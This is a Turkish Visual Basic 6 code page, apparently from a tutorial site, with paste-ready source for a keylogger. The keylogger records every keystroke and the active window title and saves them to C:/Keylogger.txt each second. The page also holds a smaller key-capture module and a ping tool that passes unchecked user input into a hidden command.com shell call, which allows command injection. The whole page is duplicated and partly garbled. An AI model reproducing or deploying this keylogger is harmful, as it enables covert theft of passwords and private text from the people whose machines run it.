Anasayfa
text1
Module:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
&l039;Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr&l036;(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
Form1.Text1.Text = Form1.Text1.Text & Ret
End If
End Sub
Form_Load:
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
Form_Unload:
KillTimer Me.hwnd, 0
Ping Atma ve Veri Alma
Componentler
form1->frmmain
text1->txtnumber
text2->txtIP
ext3->txtoutpu
General:
Option Explicit
Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFF
Const WAIT_OBJECT_0 = 0
Const WAIT_TIMEOUT = &H102
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Form_Load:
Dim ShellX As String
Dim lPid As Long
Dim lHnd As Long
Dim lRet As Long
Dim VarX As String
frmMain.MousePointer = 11
If txtIP.Text <> "" Then
DoEvents
ShellX = Shell("command.com /c ping -n " & txtNumber.Text & " " & txtIP.Text & " > C:&l92;log.txt", vbHide)
lPid = ShellX
If lPid <> 0 Then
lHnd = OpenProcess(SYNCHRONIZE, 0, lPid)
If lHnd <> 0 Then
lRet = WaitForSingleObject(lHnd, INFINITE)
CloseHandle (lHnd)
End If
Beep
frmMain.MousePointer = 0
Open "C:&l92;log.txt" For Input As l1
txtOutPut.Text = Input(LOF(1), 1)
Close l1
End If
Else
frmMain.MousePointer = 0
VarX = MsgBox("You have not entered an ip address or the number of times you want to ping.", vbCritical, "Error has occured")
End If
-------------------------------------------------------
[b]forma 2 textbox açın (text1-text2)
2 tanede timer ekleyin (timer1 - timer2)
text1'in multiLine özelliği true olsun
timer1 zamanı "5" olsun
timer2 zamnı ise "1000" olsun (1 sn)
evet bu kadar aşağıdaki kodları kodları olduğu gibi kod penceresini yapıştırın !
Kod:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form_Load()
On Error Resume Next
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If
'for backspace
If GetAsyncKeyState(
= -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = "c:Keylogger.txt"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
---
Klavye tuşları C:/Keylogger.txt dosyasına kaydediliyor.
Module:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
&l039;Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr&l036;(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
Form1.Text1.Text = Form1.Text1.Text & Ret
End If
End Sub
Form_Load:
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
Form_Unload:
KillTimer Me.hwnd, 0
Ping Atma ve Veri Alma
Componentler
form1->frmmain
text1->txtnumber
text2->txtIP
ext3->txtoutpu
General:
Option Explicit
Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFF
Const WAIT_OBJECT_0 = 0
Const WAIT_TIMEOUT = &H102
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Form_Load:
Dim ShellX As String
Dim lPid As Long
Dim lHnd As Long
Dim lRet As Long
Dim VarX As String
frmMain.MousePointer = 11
If txtIP.Text <> "" Then
DoEvents
ShellX = Shell("command.com /c ping -n " & txtNumber.Text & " " & txtIP.Text & " > C:&l92;log.txt", vbHide)
lPid = ShellX
If lPid <> 0 Then
lHnd = OpenProcess(SYNCHRONIZE, 0, lPid)
If lHnd <> 0 Then
lRet = WaitForSingleObject(lHnd, INFINITE)
CloseHandle (lHnd)
End If
Beep
frmMain.MousePointer = 0
Open "C:&l92;log.txt" For Input As l1
txtOutPut.Text = Input(LOF(1), 1)
Close l1
End If
Else
frmMain.MousePointer = 0
VarX = MsgBox("You have not entered an ip address or the number of times you want to ping.", vbCritical, "Error has occured")
End If
-------------------------------------------------------
[b]forma 2 textbox açın (text1-text2)
2 tanede timer ekleyin (timer1 - timer2)
text1'in multiLine özelliği true olsun
timer1 zamanı "5" olsun
timer2 zamnı ise "1000" olsun (1 sn)
evet bu kadar aşağıdaki kodları kodları olduğu gibi kod penceresini yapıştırın !
Kod:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form_Load()
On Error Resume Next
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"
ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"
ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If
'for backspace
If GetAsyncKeyState(
= -32767 ThenTypeWindow
Text1 = Text1 & " "
End If
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = "c:Keylogger.txt"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
---
Klavye tuşları C:/Keylogger.txt dosyasına kaydediliyor.
